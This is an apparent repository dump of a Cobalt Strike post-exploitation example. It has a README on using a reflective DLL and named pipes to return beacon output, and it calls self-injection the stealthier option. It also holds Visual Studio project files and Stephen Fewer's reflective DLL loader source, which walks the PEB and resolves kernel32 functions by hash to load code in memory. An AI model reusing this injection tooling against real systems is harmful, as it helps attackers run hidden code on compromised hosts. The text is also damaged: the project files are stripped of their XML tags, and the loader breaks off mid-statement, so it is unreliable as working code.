├── .gitattributes ├── .gitignore ├── README.md ├── ReflectiveDll.sln ├── ReflectiveDll ├── ReflectiveDll.vcxproj ├── ReflectiveDll.vcxproj.filters ├── ReflectiveDllInjection.h ├── ReflectiveLoader.cpp ├── ReflectiveLoader.h └── dllmain.cpp └── cna ├── bin ├── ReflectiveDll.x64.dll └── ReflectiveDll.x86.dll └── pipetest.cna /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | [Aa][Rr][Mm]/ 24 | [Aa][Rr][Mm]64/ 25 | bld/ 26 | [Bb]in/ 27 | [Oo]bj/ 28 | [Ll]og/ 29 | 30 | # Visual Studio 2015/2017 cache/options directory 31 | .vs/ 32 | # Uncomment if you have tasks that create the project's static files in wwwroot 33 | #wwwroot/ 34 | 35 | # Visual Studio 2017 auto generated files 36 | Generated\ Files/ 37 | 38 | # MSTest test Results 39 | [Tt]est[Rr]esult*/ 40 | [Bb]uild[Ll]og.* 41 | 42 | # NUNIT 43 | *.VisualState.xml 44 | TestResult.xml 45 | 46 | # Build Results of an ATL Project 47 | [Dd]ebugPS/ 48 | [Rr]eleasePS/ 49 | dlldata.c 50 | 51 | # Benchmark Results 52 | BenchmarkDotNet.Artifacts/ 53 | 54 | # .NET Core 55 | project.lock.json 56 | project.fragment.lock.json 57 | artifacts/ 58 | 59 | # StyleCop 60 | StyleCopReport.xml 61 | 62 | # Files built by Visual Studio 63 | *_i.c 64 | *_p.c 65 | *_h.h 66 | *.ilk 67 | *.meta 68 | *.obj 69 | *.iobj 70 | *.pch 71 | *.pdb 72 | *.ipdb 73 | *.pgc 74 | *.pgd 75 | *.rsp 76 | *.sbr 77 | *.tlb 78 | *.tli 79 | *.tlh 80 | *.tmp 81 | *.tmp_proj 82 | *_wpftmp.csproj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 179 | # checkin your Azure Web App publish settings, but sensitive information contained 180 | # in these scripts will be unencrypted 181 | PublishScripts/ 182 | 183 | # NuGet Packages 184 | *.nupkg 185 | # The packages folder can be ignored because of Package Restore 186 | **/[Pp]ackages/* 187 | # except build/, which is used as an MSBuild target. 188 | !**/[Pp]ackages/build/ 189 | # Uncomment if necessary however generally it will be regenerated when needed 190 | #!**/[Pp]ackages/repositories.config 191 | # NuGet v3's project.json files produces more ignorable files 192 | *.nuget.props 193 | *.nuget.targets 194 | 195 | # Microsoft Azure Build Output 196 | csx/ 197 | *.build.csdef 198 | 199 | # Microsoft Azure Emulator 200 | ecf/ 201 | rcf/ 202 | 203 | # Windows Store app package directories and files 204 | AppPackages/ 205 | BundleArtifacts/ 206 | Package.StoreAssociation.xml 207 | _pkginfo.txt 208 | *.appx 209 | 210 | # Visual Studio cache files 211 | # files ending in .cache can be ignored 212 | *.[Cc]ache 213 | # but keep track of directories ending in .cache 214 | !?*.[Cc]ache/ 215 | 216 | # Others 217 | ClientBin/ 218 | ~$* 219 | *~ 220 | *.dbmdl 221 | *.dbproj.schemaview 222 | *.jfm 223 | *.pfx 224 | *.publishsettings 225 | orleans.codegen.cs 226 | 227 | # Including strong name files can present a security risk 228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 229 | #*.snk 230 | 231 | # Since there are multiple workflows, uncomment next line to ignore bower_components 232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 233 | #bower_components/ 234 | 235 | # RIA/Silverlight projects 236 | Generated_Code/ 237 | 238 | # Backup & report files from converting an old project file 239 | # to a newer Visual Studio version. Backup files are not needed, 240 | # because we have git ;-) 241 | _UpgradeReport_Files/ 242 | Backup*/ 243 | UpgradeLog*.XML 244 | UpgradeLog*.htm 245 | ServiceFabricBackup/ 246 | *.rptproj.bak 247 | 248 | # SQL Server files 249 | *.mdf 250 | *.ldf 251 | *.ndf 252 | 253 | # Business Intelligence projects 254 | *.rdl.data 255 | *.bim.layout 256 | *.bim_*.settings 257 | *.rptproj.rsuser 258 | *- Backup*.rdl 259 | 260 | # Microsoft Fakes 261 | FakesAssemblies/ 262 | 263 | # GhostDoc plugin setting file 264 | *.GhostDoc.xml 265 | 266 | # Node.js Tools for Visual Studio 267 | .ntvs_analysis.dat 268 | node_modules/ 269 | 270 | # Visual Studio 6 build log 271 | *.plg 272 | 273 | # Visual Studio 6 workspace options file 274 | *.opt 275 | 276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 277 | *.vbw 278 | 279 | # Visual Studio LightSwitch build output 280 | **/*.HTMLClient/GeneratedArtifacts 281 | **/*.DesktopClient/GeneratedArtifacts 282 | **/*.DesktopClient/ModelManifest.xml 283 | **/*.Server/GeneratedArtifacts 284 | **/*.Server/ModelManifest.xml 285 | _Pvt_Extensions 286 | 287 | # Paket dependency manager 288 | .paket/paket.exe 289 | paket-files/ 290 | 291 | # FAKE - F# Make 292 | .fake/ 293 | 294 | # JetBrains Rider 295 | .idea/ 296 | *.sln.iml 297 | 298 | # CodeRush personal settings 299 | .cr/personal 300 | 301 | # Python Tools for Visual Studio (PTVS) 302 | __pycache__/ 303 | *.pyc 304 | 305 | # Cake - Uncomment if you are using it 306 | # tools/** 307 | # !tools/packages.config 308 | 309 | # Tabs Studio 310 | *.tss 311 | 312 | # Telerik's JustMock configuration file 313 | *.jmconfig 314 | 315 | # BizTalk build output 316 | *.btp.cs 317 | *.btm.cs 318 | *.odx.cs 319 | *.xsd.cs 320 | 321 | # OpenCover UI analysis results 322 | OpenCover/ 323 | 324 | # Azure Stream Analytics local run output 325 | ASALocalRun/ 326 | 327 | # MSBuild Binary and Structured Log 328 | *.binlog 329 | 330 | # NVidia Nsight GPU debugger configuration file 331 | *.nvuser 332 | 333 | # MFractors (Xamarin productivity tool) working folder 334 | .mfractor/ 335 | 336 | # Local History for Visual Studio 337 | .localhistory/ 338 | 339 | # BeatPulse healthcheck temp database 340 | healthchecksdb -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## cs-rdll-example 2 | 3 | This is an example code pattern for using named pipes for IPC with ReflectiveDlls in Cobalt Strike. 4 | 5 | It is simply an example to show how to get beacon output from an injected rDLL. It does not do anything other than demonstrate how to send and receive output over a named pipe using aggressor and C++. 6 | 7 | This is useful for scenarios where you want to inject a post-exploitation capability into the current (or remote) process to avoid the fork and inject method used by `bdllspawn`. Whilst `shinject` and `bdllinject` support self-injection (you can specify an arbitrary PID), they do not contain any built-in way to send back output to the current beacon. From Cobalt Strike 4.1, you probably want to use BOFs for this instead, however if for some reason that is not possible, this method can be used as an alternative. 8 | 9 | ## Note on Injection vs. Self-injection 10 | 11 | The included CNA script is configured for self-injection, which is likely more stealthier in most scenarios. However, it does come with the risk that errors in your ReflectiveDLl will crash the current beacon. Therefore you will need to be mindful of this risk when using self-injection. The named pipe IPC technique does support remote injection though, you just need to specify the target PID in the CNA script instead of the current process. 12 | 13 | ## Running 14 | 15 | Load the `pipetest.cna` script from the [cna/](cna/) folder. Once loaded, type `pipetest` in a beacon session. This will inject the example DLL into the current beacon process and print the output sent over the named pipe. -------------------------------------------------------------------------------- /ReflectiveDll.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29709.97 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDll", "ReflectiveDll\ReflectiveDll.vcxproj", "{95872905-17ED-444E-B35A-C79FADBED4B8}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Debug|x64.ActiveCfg = Debug|x64 17 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Debug|x64.Build.0 = Debug|x64 18 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Debug|x86.ActiveCfg = Debug|Win32 19 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Debug|x86.Build.0 = Debug|Win32 20 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Release|x64.ActiveCfg = Release|x64 21 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Release|x64.Build.0 = Release|x64 22 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Release|x86.ActiveCfg = Release|Win32 23 | {95872905-17ED-444E-B35A-C79FADBED4B8}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {84E71FA9-ABB8-4A02-9DE5-9C63DEC4CBCF} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ReflectiveDll/ReflectiveDll.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {95872905-17ED-444E-B35A-C79FADBED4B8} 24 | Win32Proj 25 | ReflectiveDll 26 | 10.0 27 | ReflectiveDll 28 | 29 | 30 | 31 | DynamicLibrary 32 | true 33 | v142 34 | Unicode 35 | 36 | 37 | DynamicLibrary 38 | false 39 | v142 40 | true 41 | Unicode 42 | false 43 | 44 | 45 | DynamicLibrary 46 | true 47 | v142 48 | Unicode 49 | 50 | 51 | DynamicLibrary 52 | false 53 | v142 54 | true 55 | Unicode 56 | false 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | true 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | ReflectiveDll.$(PlatformTarget) 85 | 86 | 87 | false 88 | ReflectiveDll.$(PlatformTarget) 89 | 90 | 91 | 92 | Use 93 | Level3 94 | true 95 | WIN32;_DEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 96 | true 97 | pch.h 98 | 99 | 100 | Windows 101 | true 102 | false 103 | 104 | 105 | 106 | 107 | Use 108 | Level3 109 | true 110 | _DEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 111 | true 112 | pch.h 113 | 114 | 115 | Windows 116 | true 117 | false 118 | 119 | 120 | 121 | 122 | NotUsing 123 | Level3 124 | true 125 | true 126 | true 127 | WIN32;NDEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X86;%(PreprocessorDefinitions) 128 | true 129 | 130 | 131 | MultiThreaded 132 | None 133 | 134 | 135 | Windows 136 | true 137 | true 138 | true 139 | false 140 | 141 | 142 | copy /Y "$(TargetDir)$(TargetName).dll" "$(SolutionDir)cna\bin\$(TargetName).dll" 143 | 144 | 145 | 146 | 147 | NotUsing 148 | Level3 149 | true 150 | true 151 | true 152 | NDEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X64;%(PreprocessorDefinitions) 153 | true 154 | 155 | 156 | None 157 | MultiThreaded 158 | 159 | 160 | Windows 161 | true 162 | true 163 | false 164 | false 165 | 166 | 167 | 168 | copy /Y "$(TargetDir)$(TargetName).dll" "$(SolutionDir)cna\bin\$(TargetName).dll" 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | -------------------------------------------------------------------------------- /ReflectiveDll/ReflectiveDll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /ReflectiveDll/ReflectiveDllInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); 45 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// 52 | -------------------------------------------------------------------------------- /ReflectiveDll/ReflectiveLoader.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while (TRUE) 90 | { 91 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #ifdef WIN_X64 111 | uiBaseAddress = __readgsqword(0x60); 112 | #else 113 | #ifdef WIN_X86 114 | uiBaseAddress = __readfsdword(0x30); 115 | #else WIN_ARM 116 | uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); 117 | #endif 118 | #endif 119 | 120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 122 | 123 | // get the first entry of the InMemoryOrder module list 124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 125 | while (uiValueA) 126 | { 127 | // get pointer to current modules name (unicode string) 128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | // clear uiValueC which will store the hash of the module name 132 | uiValueC = 0; 133 | 134 | // compute the hash of the module name... 135 | do 136 | { 137 | uiValueC = ror((DWORD)uiValueC); 138 | // normalize to uppercase if the madule name is in lowercase 139 | if (*((BYTE*)uiValueB) >= 'a') 140 | uiValueC += *((BYTE*)uiValueB) - 0x20; 141 | else 142 | uiValueC += *((BYTE*)uiValueB); 143 | uiValueB++; 144 | } while (--usCounter); 145 | 146 | // compare the hash with that of kernel32.dll 147 | if ((DWORD)uiValueC == KERNEL32DLL_HASH) 148 | { 149 | // get this modules base address 150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 151 | 152 | // get the VA of the modules NT Header 153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 154 | 155 | // uiNameArray = the address of the modules export directory entry 156 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 157 | 158 | // get the VA of the export directory 159 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 160 | 161 | // get the VA for the array of name pointers 162 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 163 | 164 | // get the VA for the array of name ordinals 165 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 166 | 167 | usCounter = 3; 168 | 169 | // loop while we still have imports to find 170 | while (usCounter > 0) 171 | { 172 | // compute the hash values for this function name 173 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); 174 | 175 | // if we have found a function we want we get its virtual address 176 | if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) 177 | { 178 | // get the VA for the array of addresses 179 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 180 | 181 | // use this functions name ordinal as an index into the array of name pointers 182 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 183 | 184 | // store this functions VA 185 | if (dwHashValue == LOADLIBRARYA_HASH) 186 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); 187 | else if (dwHashValue == GETPROCADDRESS_HASH) 188 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); 189 | else if (dwHashValue == VIRTUALALLOC_HASH) 190 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); 191 | 192 | // decrement our counter 193 | usCounter--; 194 | } 195 | 196 | // get the next exported function name 197 | uiNameArray += sizeof(DWORD); 198 | 199 | // get the next exported function name ordinal 200 | uiNameOrdinals += sizeof(WORD); 201 | } 202 | } 203 | else if ((DWORD)uiValueC == NTDLLDLL_HASH) 204 | { 205 | // get this modules base address 206 | uiBaseAddress = 